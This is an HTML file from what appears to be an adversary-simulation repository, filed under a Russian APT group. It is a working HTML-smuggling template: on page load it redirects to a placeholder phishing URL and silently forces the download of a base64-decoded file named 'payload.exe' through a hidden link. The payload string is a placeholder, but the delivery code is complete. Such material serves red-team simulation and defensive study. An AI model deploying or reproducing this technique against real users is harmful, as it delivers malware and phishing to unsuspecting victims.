Files
APTs-Adversary-Simulation/Russian APT/Gossamer-Bear-APT/HTML Smuggling & open phishing url.html
T
2024-09-02 09:52:17 -04:00

36 lines
921 B
HTML

<!DOCTYPE html>
<html>
<head>
<title>Open url</title>
</head>
<body>
<script>
// Redirect to phishing url
window.location.href = "https://www.phishing.com/";
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array(len);
for (var i = 0; i < len; i++) {
bytes[i] = binary_string.charCodeAt(i);
}
return bytes.buffer;
}
var file = 'Your base64 string here';
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'payload.exe';
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none;';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>